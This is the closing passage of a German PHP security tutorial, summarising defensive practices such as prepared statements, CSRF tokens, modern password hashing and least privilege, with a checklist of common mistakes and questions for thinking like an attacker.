- Keine Root-Credentials in Code
- Sensitive Daten in .env-Datei (außerhalb Web-Root)
Best Practices
declare(strict_types=1)nutzen- Nie Nutzereingaben vertrauen
- Principle of Least Privilege (minimale Rechte)
- Defense in Depth (mehrere Schutzebenen)
- Code-Reviews und Security-Audits
- OWASP Top 10: owasp.org/www-project-top-ten/
- PHP Security Guide: phptherightway.com/#security
- Security Headers: securityheaders.com (zum Testen)
- Have I Been Pwned: haveibeenpwned.com (Passwort-Leaks prüfen)
Zusammenfassung
Sicherheit ist kein einmaliges Feature, sondern ein fortlaufender Prozess. Die wichtigsten Takeaways:
VERTRAUE NIEMALS NUTZEREINGABEN!
Alles, was von außen kommt, ist potentiell gefährlich. Validiere, bereinige, escape - immer und überall.
Die häufigsten Fehler
- Direkte Ausgabe von
$_GET,$_POSTohne Bereinigung - SQL-Queries mit String-Concatenation statt Prepared Statements
- Fehlende CSRF-Tokens in Formularen
- Passwörter im Klartext oder mit veralteten Hashes (MD5, SHA1)
- Zu detaillierte Fehlermeldungen in Produktion
- Unsichere Session-Konfiguration
- File-Uploads ohne Validierung
Das Security-Mindset
- Was passiert, wenn ich hier
<script>eingebe? - Kann ich mit manipulierten URLs auf fremde Daten zugreifen?
- Was passiert, wenn ich riesige Dateien hochlade?
- Kann ich SQL-Befehle in dieses Feld eingeben?
- Kann ich CSRF-Angriffe durchführen?
Denke immer wie ein Angreifer!
Sicherheit ist ein weites Feld. Weitere wichtige Themen:
- Two-Factor Authentication (2FA)
- OAuth & JWT für moderne APIs
- Security Testing (Penetration Testing, Vulnerability Scanning)
- Logging & Monitoring für Angriffserkennnung
- Dependency Management (Composer, npm) - Updates!
Sichere Programmierung ist keine Raketenwissenschaft, aber sie erfordert Aufmerksamkeit und Disziplin. Die hier vorgestellten Methoden decken die wichtigsten Angriffsvektoren ab. Nutze sie konsequent, und deine Anwendungen werden deutlich sicherer sein!
Mehr aus PHP
Tutorials werden geladen...